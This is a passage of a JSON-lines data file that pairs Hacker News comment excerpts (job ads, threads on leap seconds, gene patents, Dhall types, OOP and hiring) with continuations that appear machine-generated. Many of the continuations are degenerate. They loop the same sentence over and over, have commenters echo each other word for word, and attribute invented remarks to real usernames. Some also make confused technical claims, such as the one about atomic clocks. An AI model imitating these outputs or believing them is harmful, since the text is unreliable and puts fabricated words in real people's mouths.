end)\n\n[https://www.youtube.com/watch?v=Wn8qogHH9bM](https://www.youtube.com/watch?v=Wn8qogHH9bM)\n\nOh and if you want a REALLY crazy version of the Schipol video, this one is\nactually a 360 degree live draggable version of it - no kidding!\n\n[http://www.schiphol.nl/Reizigers/OpSchiphol/Bagage/BagageVid...](http://www.schiphol.nl/Reizigers/OpSchiphol/Bagage/BagageVideo.htm)\n\n~~~\ndavid-given\nThe first one isn't an FPV... and the second one is _also_ full of edits!\n\n------\ncodejoust\nWas looking for some backgrojnd and found an overview presentation [pdf]:\n[http://netlipse.eu/media/77918/11nwm-bratislava-lex-\npepping-...](http://netlipse.eu/media/77918/11nwm-bratislava-lex-pepping-\nbaggage-handling-at-amsterdam-airport-schiphol-implementing-new-\ntechnologies.pdf"} +{"output_text": "I agree. I've found that walking helps me think. I've also found that\nmeditation helps me think.\n\n------\njoshuaheard\nI'm not sure why this is on the front page.\n\n~~~\ndang\nIt's not. It's a repost from a few days ago.\n\n~~~\njoshuaheard\nI'm not sure why this is on the front page.\n\n~~~\ndang\nIt's not. It", "input_text": " resource that the war\nmust be about because they can't believe war is about anything other than\nresources.\n\n------\nblazespin\nMaybe this is a good thing as it will make it harder to get people to go to\nwar next time. Perhaps we might think twice about invading other countries.\n\n------\nAKifer\nIt's a scheme as old as the world, even Julius Caesar owed money to his\nlegions men and did not pay them.\n\n------\nWalterBright\nIsn't there a statute of limitations on such belated claims?\n\n------\ncbreeden\nThis is weird. I'm extremely surprised that some kind of statue of limitations\ndoes not apply here. I'm not sure we are getting the whole story.\n\n------\nFrogolocalypse\nThat is sickening\n\n------\nolegkikin\nSue.\n\n------\nthomasmarriott\nAbhorrent.\n\n------\ncloudjacker\nIdiots all the way to the top, looks like something only the President or\nCongress can remedy\n\n \n\nWhat to do when stuck on a problem? Sleep. - zackyap\nhttp://www.zackyap.com/post/30716510801/what-to-do-when-stuck-on-a-problem-sleep\n\n======\nmtkd\nAnything that takes you away from the problem will help.\n\nTake a shower if you don't have long.\n\nI recommend walking before taking on a big problem - even if you're not stuck.\n\nA 1h walk means you are unable to code your first solution, by the time you\nget back you'll be 4 iterations on in your head - you've just saved yourself 2\ndays.\n\n~~~\ngenwin\n"} +{"output_text": ", smart contracts, etc.\n\n------\njames-skemp\nSquare | Software Engineer | San Francisco, CA | Full-time | Onsite\n\nSquare is hiring software engineers to help build the future of commerce.\n\nWe're looking for engineers who are passionate about building great software\nand have a desire to learn. We're looking for engineers who are comfortable\nworking in a fast-paced environment and who are excited to build the future\nof commerce.\n", "input_text": "\nlimo\nOradian | Scala Developer | Zagreb, Croatia | Full-time, ONSITE\n\nOradian is building a SaaS core banking for emerging markets, targeting\nmicrofinance institutions. We are searching for a Scala developer to join us\nand help bring financial inclusion to the 3 billion unbanked.\n\nOur backend stack is built on 100% Scala, with PostgreSQL as our ORDBMS of\nchoice. We are currently transitioning from vanilla Play to Akka-HTTP + React.\n\nWhile knowledge of Scala is preferable, it's not mandatory for an experienced\nsenior developer. This is a full-time position in Zagreb, Croatia (HQ of\nOradian).\n\nOradian's official non-programming language is English. :) We also have other\nopen position (i.e. QA/Front-End) - check them out here:\n[https://oradian.com/](https://oradian.com/)\n\n------\nsplix\nEthereum Classic | Go/Rust Engineer | Remote\n\nEthereum Classic is a decentralized platform that runs smart contracts on\nblockchain. Ethereum Classic is a continuation of the original Ethereum\nblockchain - the classic version preserving untampered history. See more at\n[https://ethereumclassic.github.io/](https://ethereumclassic.github.io/)\n\nWe're looking for Go and/or Rust developers to join our core team to work on\nOpen Source projects at\n[https://github.com/ethereumproject](https://github.com/ethereumproject)\n\nPlease send your CV and Github link to igor@artamonov.ru Please also include a\ncover letter with some details what is your experience with blockchain,\ndistributed systems"} +{"output_text": ".\n\nI'm not sure which side is right.\n\n~~~\njlgreco\nI think the article is written from the perspective of the ousted Drupal\nmember.\n\n~~~\ntptacek\nI think the article is written from the perspective of the ousted Drupal\nmember.\n\n------\njlgreco\nI think the article is written from the perspective of the ousted Drupal\nmember.\n\n------\njlgre", "input_text": " getting recognition when dealing with Western\ntech media. Even when I don't appear at all with the project, simply the off-\ncamera creator's appearance being offensive has been sufficient excuse for\nexclusion. I have no doubt that BDSM enthusiasts, or Furries, or many others\nface similar issues even when they check all aspects of their lifestyle at the\ndoor and it has no bearing on their projects.\n\nAs part of a knee-jerk reaction to community problems with sexism, parts of\ntech are now deeply, deeply conservative and judgmental about anything even\nvaguely sexual.\n\nYou can very easily have permanent damage done to your career prospects by\nappearing or acting in some way different from what they feel is the norm.\nOnce that's done, there's no appeasement or washing away the stain- you might\nas well embrace your eccentricity and resign yourself to whatever fringe niche\nwill have you.\n\n------\ntptacek\nThis article is written from one side of a complicated conflict.\n\nIt's the perspective of the ousted Drupal member that his beliefs are entirely\npackaged up in the BDSM subculture that he takes part in, and that to have a\nproblem with his beliefs is to persecute his BDSM subculture.\n\nIt's the perspective of the other Drupal members who ousted him that his\nbeliefs are not in fact cabined in that subculture, but in fact bleed out of\nit into his interactions with the broader world. They cite evidence.\n\nSince the beliefs that we're talking about could be broadly and probably\ninaccurately but by how much I don't know described as \"females are subhuman\",\nit's the perspective of the Drupal members who did the ousting that those\nbeliefs matter"} +{"output_text": " is a pretty big red flag.\n\n~~~\njlgreco\nI don't think it is a red flag. It is a red flag if you are trying to\ndetermine the cause of obesity.\n\n~~~\nAstroChimpHam\nI don't think it's a red flag at all. It's a red flag if you're trying to\ndetermine the cause of obesity.\n\n~~~\njlgreco\nI think you are confusing cause and", "input_text": " on BMI? 2kg of weight? I fluctuate more than that on a weekly\nbasis...)\n\n~~~\nlurknomore\nThere are several sayings in fitness circles that are similar to this: \"You\ncan't outrun your fork.\" Diet is the primary reason people are obese, not lack\nof exercise.\n\n~~~\nWildUtah\n\"You can't outrun your fork.\"\n\nI can.\n\nPeople who can't outrun their forks aren't running hard enough.\n\nHunting down a lot of calories and eating them is part of being a mammal. I\nbicycled across North America one fall on a mostly mountain route. Four times\na day I ate full meals and added as many Dove bars as I could without being\nsick in between. I biked up and down hills with 30kg of gear all day. And I\nlost a lot of weight.\n\nSure it hurts to work that hard, but it's supposed to hurt a little. Being\ncomfortable all the time isn't part of being a mammal.\n\n~~~\nrtb\nI look forward to your enlightening anecdote based debunking of other sayings,\nsuch as that time you made a great broth despite too many cooks, or that time\na gathering didn't get merrier with more people.\n\n~~~\nWildUtah\nI'm a little too busy to entertain you with vignettes right now; I need to\nsupervise this pot closely until it boils.\n\n------\nAstroChimpHam\n>But eventually the researchers homed in on 10 pairs of male identical twins,\none of whom regularly exercised, while the other did not, usually because of\nwork or family pressures, the researchers determined.\n\nThat \"work and family pressure\""} +{"output_text": " with you, but I think it's more of a problem with the corporate\nenvironment. I've worked in a few places where I've been able to work on\ninteresting projects on my own time.\n\n------\njoshu\nI think the problem is that the people who are good at this are not the\npeople who are good at the other things.\n\nI'm a good programmer, but I'm not a good manager. I'm not a good salesman,\n", "input_text": "\nout).\n\nYou're coming very close to identifying a major problem with our industry that\nisn't likely to go away. Yes you absolutely do have to \"go home and study\" to\nkeep up as a software engineer/programmer. This is due to two reasons:\n\n1\\. Advancements in technology outpace us\n\n2\\. We're generally overloaded by management that doesn't understand what we\ndo.\n\nAs for #1 there isn't much we can do to change that, and who would want to?\n\nBut for #2 it's a major problem. In many cases our 40+ hours have to be filled\nwith coding because of the unrealistic deadlines that are posed on us from\nmanagers who don't understand the work.\n\nMost of us are managed by people who have no idea what we do. They want \"more\nmore more\" in terms of features and gizmos but haven't the slightest\nunderstanding of what goes into it. Add in scope creep and wasted time with\nmeetings (that make them look busy) and that adds up to a long work week for a\ndeveloper. And when you ask for time to study or learn something new, the\nresponse is \"sure, when things aren't so busy\".\n\nThis just reinforces my belief that you need passion to do this. You have to\nlove development so much you're willing to put up this stuff, work your ass\noff and still want to go home and learn more.\n\n~~~\nkyllo\nYes and it's also because the projects you'll typically work on in a corporate\nenvironment are like maintaining and adding features to boring CRUD apps and\nyour skills will atrophy if you don't actively seek interesting, challenging\nwork on your own time.\n\n~~~\nJeremyMorgan\nI agree"} +{"output_text": " the time reference that \"just counts the atomic\nseconds.\"\n\nThe leap seconds are a way to make the time reference more stable.\n\n~~~\ndfc\nI don't understand. Why is it more stable?\n\n~~~\nacqq\nBecause the atomic clocks are not perfect. They are subject to the same\nerrors as the clocks on the ground. The atomic clocks are not perfect, but\nthey are much more stable than the clocks on the ground.\n\nThe", "input_text": "\nsecond) sent over the radio clocks.\n\nFor the time less dependent on Earth TAI also exists (\n[http://en.wikipedia.org/wiki/International_Atomic_Time](http://en.wikipedia.org/wiki/International_Atomic_Time)\n). So we already have the time reference that \"just counts the atomic\nseconds.\"\n\nHad there been less confusion among the programmers regarding the leap second\nhandling on the common systems we'd already all use the UTC-SLS solution and\nwe wouldn't have to care about the leap seconds unless we really need TAI.\n\n\\---\n\n1) Watch out for\n[http://www.itu.int/en/ITU-R/conferences/wrc/2015/Pages/defau...](http://www.itu.int/en/ITU-R/conferences/wrc/2015/Pages/default.aspx)\n(2 to 27 November 2015) if that changes.\n\n2) POSIX already specifies that every day has exactly 86400 seconds for\n\"Seconds Since the Epoch\" and the current code relies on that:\n[http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_...](http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_15)\n\n~~~\ndfc\nWhy deal with the complexity of leap seconds; given TAI why should society as\na whole deal with the complexity of leap seconds just because it makes life a\nlittle easier for astronomers?\n\n~~~\nacqq\nIt's not about being easy for the astronomers but for the humans. The\nastronomers already have"} +{"output_text": "ke\nI'm not sure if this is a good idea, but I'm curious if anyone has done\nanything similar with a different programming language.\n\nI'm thinking of something like this:\n\n[https://www.youtube.com/watch?v=WqCWghETNDc](https://www.youtube.com/watch?v=WqCWghETNDc)\n\n~~~\nazeirah\nI think it's a good idea, but", "input_text": ") Many operations lose information -- for example XOR's\ncan't be run backwards to reproduce the original inputs.\n\nPeople have tried to tackle both issues with reversible computing.\n[https://en.wikipedia.org/wiki/Reversible_computing](https://en.wikipedia.org/wiki/Reversible_computing)\n\nSomeone even wrote a programming language that was (logically) time-\nreversible:\n\n[https://en.wikipedia.org/wiki/Janus_(time-\nreversible_computi...](https://en.wikipedia.org/wiki/Janus_\\(time-\nreversible_computing_programming_language\\))\n\n~~~\nazeirah\nDoes having a time-reversible programming language mean that if you start with\nthe output of a given program, you can run the program backwards and get the\ninput?\n\nThis would be useful outside of research. Though, I expect the memory usage\nwill be ridiculous.\n\n~~~\nconistonwater\nIsn't that already a thing, if you really want it? [1,2,3]\n\n[1]\n[https://en.wikipedia.org/wiki/Retroactive_data_structures](https://en.wikipedia.org/wiki/Retroactive_data_structures)\n\n[2]\n[https://www.youtube.com/watch?v=T0yzrZL1py0](https://www.youtube.com/watch?v=T0yzrZL1py0)\n\n[3]\n[https://www.youtube.com/watch?v=WqCWghETNDc](https://www.youtube.com/watch?v=WqCWghETNDc)\n\n------\ngloriousdu"} +{"output_text": "\n\n \n \n list = [ Text \"Hello\" Natural 3.14 ]\n \n\nThis is a common pattern in Dhall.\n\n~~~\njimktrains2\n> Dhall's lists are homogeneous lists, meaning that every element always has\n> the same type of value. This is true whether or not you annotate list\n> elements with a type or you annotate the list with a type.\n\nI'm not sure I understand this.", "input_text": "note: this is my understanding that\nmight not be correct) meaning there's no dynamic content in a list. In same\nvein a map of maps needs to have all its keys stated by type annotation.\n\nTo me this seems too restrictive since the structure of data gets lost in the\nmore verbose annotations. Not to mention the work of writing this annotation\nor the functionality to produce the same. In TypeScript I'd write something\nlike this { [string] : [ Number | String ] } and I'd have my string keyed\nobject with values of lists containing numbers and strings. Having a language\nlike Dhall to help with creation of correct configuration code seems really\nuseful instead of this messy combination of declarative and template language.\nI would like to understand things that can get better by using such an type\nsystem.\n\n~~~\nGabriel439\nDhall's lists are homogeneous lists, meaning that every element always has the\nsame type of value. This is true whether or not you annotate list elements\nwith a type or you annotate the list with a type.\n\nYou only need to annotate the type of an empty list. Lists with at least one\nelement don't require a type annotation because the type can be inferred from\nthe type of that element.\n\nDhall does not have buit-in support for homogeneous maps. Dhall does have\nstatically typed heterogeneous records (i.e. something like `{ foo = Bool, bar\n= \"ABC\" }` which has type `{ foo : Bool, bar : Text }` for example).\n\nIf you want to store different type of values in the same list you wrap them\nin a union. For example, if you want to store both `Text` values and `Natural`\nnumbers in a list you would do:"} +{"output_text": "\ntheir bank account.\n\nWe\u2019re looking for a talented and experienced iOS developer to join our team.\nYou will be responsible for building and maintaining the iOS app, as well as\nhelping to design and develop new features.\n\nWe\u2019re also looking for a talented and experienced software engineer to join\nour team. You will be responsible for building and maintaining the backend\nservices, as well as helping to design and develop new features.\n\nWe\u2019re a small", "input_text": "inc.com | Full time | Los Angeles | Frontend Engineer, JavaScript Engineer |\nwww.winc.com\n\nWe are looking for a few great ONSITE Front End Engineers to join our highly\ncollaborative and fast moving team. In this role, you'll create functional and\npolished user interfaces with an emphasis on the mobile experience, work with\nsenior developers to architect scalable front-end solutions that integrate\nwith multiple backend systems, and strategize with digital product\nstakeholders to ensure the highest return on our engineering resources. In\nthis role it is crucial to be deadline driven, an internal drive toward\ncontinual improvement, and open to collaboration and being part of our\nproduct, not just production.\n\nTO APPLY: [https://goo.gl/KsNnYt](https://goo.gl/KsNnYt)\n\nSincerely, Winc Careers Team Careers@winc.com\n\n------\nbnoohi\nPangea Money Transfer | Chicago, IL | Lead iOS and Software Engineer\n(Platform) | Full Time, On Site |\n[http://engineering.gopangea.com](http://engineering.gopangea.com)\n\nFounded in 2012 and headquartered in Chicago, IL, Pangea started with the\nmission of making money transfer simple, fair and safe. Since then, we\u2019ve been\nstriving to enhance the security and reduce the cost and pain points of\ninternational money transfer.\n\nOur first solution allows users to complete a transfer in three easy steps and\npay with any US debit card, with an innovative nationwide cash solution coming\nsoon. Receivers in Mexico, Colombia, Guatemala, El Salvador and Dominican\nRepublic can collect the transfers in cash or receive the money directly into"} +{"output_text": " happened to the world since the invention of\nthe internet.\n\n~~~\njosteink\nI'm not sure if you're being sarcastic or not.\n\nLinux is a great thing, but it's not the best thing that has happened to the\nworld.\n\nThe best thing that has happened to the world is the invention of the\ninternet.\n\n~~~\nTinfoilhat666\nI'm not being sarcastic. I'm being serious.\n\n", "input_text": " is available on GitHub.\n\nIsn't this just plain racist? Is there any actual reason to believe that\nthere's any privacy issues with Deepin, other that that it was made by Chinese\npeople? Not to mention that I've never heard this particular FUD before, so\nI'm doubtful that it \"tends to ignite\" anything.\n\n~~~\nsgt\nI think it has to do with that China has a terrible human right's reputation\n(yet we all use Chinese products, so there's that), but mainly that Huawei is\npretty much obliged by law to build backdoors and share any kind of\ninformation with the Chinese government if they are asked to do so.\n\n~~~\naibrahem\nSo does the US, I've yet to hear a valid argument on why the US is a better\ncitizen on the global stage than China.\n\nDomistically a very weak argument could be made that the US doesn't violate\nthe rights of their own citizens as bad as China, but between FISA courts, the\nNSA and programs like PRISM (which is more than a decade old now), this\nargument barely makes sense.\n\n~~~\nklingonopera\nWell, for one, whoever's running the US gets changed after two terms,\nsometimes it's a pity, sometimes it couldn't happen fast enough.\n\nBut in my opinion, it's definitely better than having the same person running\nthings for who-knows how long, regardless of the integrity of that person.\n\n~~~\nKaoruAoiShiho\nA couple dozen people change at the top but literally everyone else stays on,\nincluding all the criminals in military and intelligence. It's an absolute\njoke.\n\n------\nTinfoilhat666\nLinux is the best thing that has"} +{"output_text": " original, and the\noriginal is not patentable.\n\n~~~\ndnautics\nI'm not saying that the molecule is patentable. I'm saying that the process of\nPCR is not patentable.\n\n~~~\ndaughart\nI'm not sure what you mean by \"process of PCR\". The process of PCR is the\nprocess of generating a dsDNA molecule.\n\n~~~\ndnautics\nI'm saying that the process of PCR is not patentable.", "input_text": " because the dsDNA molecule exists in\nnature. I think in this context isolation is similar in nature to discovery,\nwhich is not a patentable activity.\n\n~~~\ndnautics\nwell, no, the supreme court has decided that effectively breaking four\ncovalent bonds is not transformative (your words). I think it's a wrong\ndecision. Even so, if you actually understand it, the act of PCR is an act of\ncreation, not transformation. That dsDNA molecule doesn't exist in nature.\n\nFor example, there is a molecule thiostrepton which is an antibiotic compound,\nthat's really quite poor. They have recently discovered that only the core of\nthe molecule is necessary for antibiosis, and removal of the rest of the\nmolecule improves its pharmacological properties. It's a distinct molecule,\ncreated by the scission of 3 covalent bonds. Should it be unpatentable? Almost\ncertainly, somewhere in nature, there has a thiostrepton molecule that by\naccident happened to have been cleaved at exactly the right places to render\nthe molecule. does that change your opinion?\n\nI am not trying to defend the practice - I abhor patents - but a lot of people\nare letting their emotional reaction to \"patenting genes\" get in the way of a\ndispassionate and informed analysis of what actually is going on here.\n\n~~~\ndaughart\nYour perspective is confusing. You say that a modified form of thiostrepton\nshould not be patentable, even though the patent protects the molecule as well\nas the process of chemical synthesis or purification, which often requires\nsignificant innovation, and in this case the natural molecule is also\nsignificantly modified. On the other hand, when you PCR something you are\ngenerating a dsDNA molecule that is identical to the"} +{"output_text": "\nIt's a different beast because it's a different algorithm.\n\n------\njoshu\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI", "input_text": "\nI pulled her off, and then felt awful about it. Luckily you can put her back\non.\n\nI'm not sure what about it is so effective.\n\n------\ndonpark\nThere is a similar project named Coffee-Physics [1] by Soulwire.\n\n[1] \n\n~~~\nrorrr2\nAlso\n\nBox2D JS and Box2Dweb\n\n\n\n\n\nBullet JS\n\n\n\nCannon.js\n\n\n\nAmmo.js\n\n\n\nPhysijs\n\n\n\nJigLibJS\n\n\n\n~~~\nYgg2\nInteresting list but I wonder how do these libraries fare when used by JS\ndevelopers? What are their performances and experience with them?\n\n~~~\nseanmcdirmid\nAlso, a verlet-based physics engine is a very different beast compared to a\nrigid-body one (a few in the list above are also based on verlet, but not\nmost).\n\n~~~\njjoonathan\nErr, I thought verlet was just an integration technique? How does it translate\ninto a \"very different beast\"?\n\n~~~\nbm1362"} +{"output_text": " for the next benchmark?\n\n~~~\nbhauer\nI'm not sure if I can give you a date, but I can tell you that I'm working on\nit.\n\nI'm also working on a new benchmark that will be more representative of the\nreal world.\n\n------\njameslk\nI'm not sure if this is a good idea. I'm not a gamer, but I do play a lot of\ngames. I'm not sure if I", "input_text": "jocks') seems like a\ndefense mechanism that the group reinforces so that they don't have to face\ntheir own circumstance / fears.\n\nI've fallen into it a bit in the past and it's easy to get bitter and\nisolated.\n\nI think the only way out is to turn off the games and try something different.\n\n------\nm0llusk\nAll this focus on gaming could be backwards. The young guy I know who games\nall day instead of working is always sending out resumes. None of his jobs\nlasts very long but he does well while they last. This labor market has failed\nyoung people and not everyone is going to respond by founding concerns of\ntheir own. Its not the games, its the economy.\n\n------\nherogreen\n[2017]\n[https://news.ycombinator.com/item?id=13890782](https://news.ycombinator.com/item?id=13890782)\nStill very interesting though.\n\n \n\nUnfair comparisons - bhauer\nhttp://tiamat.tsotech.com/unfair-comparisons\n\n======\nsker\nBenchmark Nazis will always complain about _any_ benchmark, no matter what.\nDon't let them dissuade you from continuing work on this amazing project.\n\nPersonally, this project has prompted me to change my career path from C# to\nsomething else, due to the abysmal performance of ASP.NET. I'm still waiting\nto see more tests, especially the asp-stripped one, and hopefully some\nOWIN/Katana in the near future. But for now, I'm seriously considering\nJS/Node.js or Scala/JVM as my main development platform. So thanks.\n\nIs there any date"} +{"output_text": ".elementscience.com/assets/senior-backend-engineer--\nposition-summary.docx.pdf)\n\nElement Science | Sr / Frontend Engineer | San Francisco | Full-time | Onsite:\n[http://www.elementscience.com/assets/senior-frontend-\nenginee...](http://www.elementscience.com/assets/senior-frontend-engineer--\nposition-summary.docx", "input_text": " into the dirty details of the bits\nand MUST be able to visualize the entire system.\n\nEmail: founders [at] chaldal [dot] com\n\n------\nethanahte\nDia&Co | New York City or REMOTE | Software Engineer, Product Manager, Data\nScientist, and Data Analyst | Full-time\n\nDia&Co is the premier personal styling service for plus-size women. We\u2019re\nlooking for engineers, product, and data people to help create our suite of\nlarge consumer-facing and internal products that are transforming both\noperational efficiency and consumer e-commerce. We work with Ruby on Rails on\nthe engineering side and Python on the data science side.\n\nPlease check out our tech blog to get an idea of what we think about and\nvalue: [https://making.dia.com/](https://making.dia.com/)\n\nThe interview process is a phone screen, a take home coding challenge, and\nfinally an on-site interview. Apply here, and let us know that you found us on\nHacker News: [https://www.dia.co/careers](https://www.dia.co/careers)\n\n------\nk70841\nElement Science | Sr / iOS Engineer | San Francisco | Full-time | Onsite:\n[http://www.elementscience.com/assets/senior-ios-engineer--\npo...](http://www.elementscience.com/assets/senior-ios-engineer--position-\nsummary.docx.pdf)\n\nElement Science | Sr / Backend Engineer / Architect | San Francisco | Full-\ntime | Onsite: [http://www.elementscience.com/assets/senior-backend-\nengineer...](http://www"} +{"output_text": " them to explain why they think that.\n\n~~~\njoshuacc\nI think the point is that the interviewer is not a programmer, and is not\ngoing to be able to understand the code.\n\n~~~\njoshuacc\nI think the point is that the interviewer is not a programmer, and is not\ngoing to be able to understand the code.\n\n------\njoshuacc\nI think the point is that the interviewer is not", "input_text": " an interviewer:\n\n \n \n for (let i = 1; i <= 100; i++) {\n let output = \"\";\n // test modulos in ascending order\n if (i % 3 === 0) output += \"Fizz\";\n if (i % 5 === 0) output += \"Buzz\";\n if (output === \"\") output += i;\n console.log(output);\n }\n \n\nLook Ma, I can maintain it!\n\n \n \n for (let i = 1; i <= 100; i++) {\n let output = \"\";\n // test modulos in ascending order\n if (i % 3 === 0) output += \"Fizz\";\n if (i % 5 === 0) output += \"Buzz\";\n if (i % 7 === 0) output += \"Foo\";\n if (i % 11 === 0) output += \"Bar\";\n if (output === \"\") output += i;\n console.log(output);\n }\n \n\nSince I didn't introduce any new functions like _isMultiple_ as a unnecessary\nshorthand for the built-in modulo operator, and I didn't introduce unnecessary\narrays to iterate over the index of, I don't need to write a test suite. I can\nsimply compare the output to the expected results.\n\nNot having the function call for every value will help this \"scale\" if\nnecessary, though for this problem scaling was neither stated as a\nrequirement, nor implied by any reasonable reading of the requirements.\n\nPutting on my hiring manager hat, if a candidate changes a _for_ loop to a\n_map()_ because \"there are just a few programming languages that doesn\u2019t\nsupport loops,\" I would ask"} +{"output_text": " this article.\n\n~~~\ndasil003\nI think you're being a little harsh. I think the author is just trying to\nexplain the benefits of OOP, and the author is right that OOP is not\nnecessarily better than procedural programming. However, I think the author\ndoes a good job of explaining why OOP is a good fit for GUI programming, which\nis the area where it really shines.\n\n~~~\ndkarl\nI'm not being", "input_text": "esr/writings/taoup/html/unix_and_oo.html\n\n======\ntedunangst\n\"For example, a+a+a+a can become a*4 and even a<<2 if a is an integer. But if\none creates a class with operators, there is nothing to indicate if they are\ncommutative, distributive, or associative. Since one isn't supposed to look\ninside the object, it's not possible to know which of two equivalent\nexpressions is more efficient.\"\n\nBut it is ok (expected even?) to look inside the implementation of every\nfunction in a non-OO language?\n\nExplain how I am to know which to choose from the equivalent C code of add(a,\nadd(a, add(a, a))) or multiply(a, 4)?\n\nThere are reasons to dislike aspects of C++, but the \"omg operators are hard\"\nmeme is the biggest dumbest straw man around.\n\n~~~\ndasil003\nThe whole article has a whiff of bullshit even if it seems truthy at times.\nYes, OOP is a great fit for GUI programming which helped it rise to\nprominence, however the rest of it is spoken like someone who has never really\ndone any serious OOP.\n\nI think it's fair to say that OOP is not significantly different from\nprocedural programming, and certainly can't be considered universally better.\nIt just provides some additional tools for structuring the code and data,\nhowever it doesn't offer any deep and powerful benefits like functional\nprogramming or s-expressions provide.\n\n------\ndkarl\nWhat's the clinical terminology for this? Projective collective delusional\nnarcissism? I'm a Unix programmer, and I disavow"} +{"output_text": "\n([https://earnup.com](https://earnup.com))\n\nEarnUp is a platform that helps people earn money by doing things they love.\nWe're a small team of engineers and designers who are passionate about\nbuilding a product that helps people earn money.\n\nWe're looking for senior engineers to join our team. We're looking for\nengineers who are comfortable working in a small team, and who are excited to\nwork on a product", "input_text": " compliance and identification\ntools. We are on a mission to save people time, money and stress related to\npersonal finance, using technology and data analytics.\n\nWe are looking for Backend Java Developers to join the Engineering team in\nVancouver. To find out more go to\n[https://www.poweredbygrow.com/careers/](https://www.poweredbygrow.com/careers/)\nand in your application mention you saw this post.\n\n------\nshan28harris\nSmugMug | Ops Engineer | Mountain View, CA | Full-time, Onsite preferred, but\nremote is an option for senior candidates.\n\nSmugMug is searching for a behind the curtain guy/gal who\u2019s got brains,\ncourage, heart and wants to join our close-knit team responsible for operating\na SaaS infrastructure serving billions of photos and millions of customers. Do\nyou also have a passion for automation, testing and tool building?? No way! We\nthought it was just us. We like you already!\n\nWe are seeking is an experienced system administrator who\u2019ll help our\noperations team solve difficult puzzles that arise when running a fast-moving\nlarge-scale infrastructure. You\u2019ll touch all parts of our framework with your\nmagic, from web servers and databases to continuous integration systems to AWS\ntools and products.\n\nApply here: [https://jobs.smugmug.com/Job-\nOpenings?gh_jid=586100h](https://jobs.smugmug.com/Job-Openings?gh_jid=586100h)\n\n~~~\ngeekoSnap\nApplied. Look forward to hear from you.\n\n------\nearnuptalent\nSenior Software Engineers needed at EarnUp"} +{"output_text": "'m an INTJ, and I've never used it in a hiring situation.\n\n~~~\njameshart\nI'm an INTJ, and I've never used it in a hiring situation.\n\nI've used it in a hiring situation, and it was a disaster.\n\nI've used it in a hiring situation, and it was a disaster.\n\nI've used it in a hiring situation, and it was a disaster.\n\nI've used it in a", "input_text": " the day, context, mood). Zodiac Sign and MBTI Type should\nonly be used as pick-up lines in a bar. \"Hey, babe, I'm an INTJ, so I'm not\ngoing to say anything else.\"\n\nThere are good uses of psychometrics, but they're rare enough that I take any\nreliance on any kind of psychometric during hiring as kind of a bad sign.\n\n0: [http://blogs.scientificamerican.com/primate-diaries/the-\nweir...](http://blogs.scientificamerican.com/primate-diaries/the-weird-\nevolution-of-human-psychology/) 1: [https://www.psychologytoday.com/blog/give-\nand-take/201309/go...](https://www.psychologytoday.com/blog/give-and-\ntake/201309/goodbye-mbti-the-fad-won-t-die)\n\n~~~\ndisgruntledphd2\nTo be fair, I think that Raven's matrices probably get around this. If someone\nexplains the process to you, you don't actually need to be able to read to do\nwell on the test.\n[https://en.wikipedia.org/wiki/Raven%27s_Progressive_Matrices](https://en.wikipedia.org/wiki/Raven%27s_Progressive_Matrices)\n\nI do find it surprising that Raven's appears to be more susceptable to the\nFlynn effect (people keep getting better at IQ tests, for an unknown reason).\n\nCompletely agreed on the MBTI, but its surprisingly difficult to convince\npeople that's its useful.\n\nFWIW, I"} +{"output_text": " theory was developed to model the behavior of water waves.\n\nI'm not saying that pure research is useless. I'm saying that it's not\nnecessarily the best use of resources.\n\n~~~\njules\nI agree that some of the most important research was done with applications in\nmind. But that doesn't mean that all research is useless.\n\n~~~\nyummyfajitas\nI don't think it's useless. I think it's a waste of resources.", "input_text": "reshaping products of science arise in pure, not\napplied, research.\n\nQuote: \"Second, when science is not steered to solve such problems, it tends\nto go off half-cocked in ways that can be highly detrimental to science\nitself.\"\n\nAlso contradicted by history. As just one example, the success of Bell Labs\nover the decades resulted, not from a focus on solving particular problems,\nbut a focus on research for the sake of research -- pure science.\n\nThe author of the article raises an alarm about a supposed scientific crisis,\nand eventually reveals what he thinks is the source of the problem -- a waste\nof scientific talent spent on pure research. He needs to read the history of\nscience with an open mind.\n\nQuote: \"It was military purchases that kept the new transistor, semiconductor,\nand integrated-circuit industries afloat in the early and mid-1950s.\"\n\nThat's true, but it's misleading because the development of the transistor at\nBell Labs wasn't an applied science project, it resulted from pure research in\nmaterials science and physics.\n\nThe author isn't reporting on the state of science, he's complaining that it's\nnot what he thinks it should be, in a way that stands at odds with science's\nhistory.\n\n~~~\nyummyfajitas\nI think your claims require a bit more backing than mere assertion. Certainly,\nsome of the most important research (now described as \"pure\") was done with\napplications immediately in mind.\n\nFor example, Newtonian physics always had the goal of calculating artillery\ntrajectories. Nuclear physics had the goals of energy/weapons. Probability\ntheory, operations research, and most of our modern computational\ninfrastructure came directly from people trying to do applied work. Nonlinear\nwave"} +{"output_text": " moving to)\nSpain.\n\n~~~\npcrh\nI think the average salary is around $30k, but I'm not sure.\n\n~~~\nwhamlastxmas\nI'm not sure either, but I'm pretty sure it's not $22k.\n\n~~~\npcrh\nI'm not sure either, but I'm pretty sure it's not $30k.\n\n------\njimmywanger\nI'm not sure why this is", "input_text": "'s working on, but his\nproductivity is the absolute value of added output. How could it be counted\notherwise, in what? Lines of code?\n\nIf productivity didn't depend on location immigration wouldn't exist.\n\n~~~\npcrh\nI guess it depends on the sense in which \"productivity\" is being used.\n\nA remote dev working for a Bay Area company from Spain can be just as\nproductive for his employer as one located in Los Gatos, CA. However the above\nmethod would categorize this dev as \"objectively less productive\", which seems\ncounter-intuitive...\n\n~~~\nduckingtest\n>However the above method would categorize this dev as \"objectively less\nproductive\", which seems counter-intuitive...\n\nIt wouldn't, it purports to explain the differences in local salaries, or more\nprecisely salaries paid by local entities to on-site developers.\n\nIt's true I didn't specify that explicitly in the first comment, along with\ndefinition of productivity, so your reading of it was a reasonable\nunderstanding. It's a good thing you helped me clarify the intended meaning.\n\nOne assumption is that foreign demand (for non-local use) for local on-site\ndevelopers is small enough to not change the workforce demand significantly.\nSo it won't work for India or other common offshore destination, but it seems\nto explain pay differences between USA and Spain, Norway and Switzerland\nreasonably.\n\n~~~\npcrh\nIn other words, pay differentials are more closely related to locale than to\nthe amount or quality of work produced.\n\n------\nwhamlastxmas\nThe article says the average salary in Spain is around $22k. Even at twice\nthat, it's not hard to see why developers are not working for (or"} +{"output_text": "'s also a lot more difficult to\nlearn and 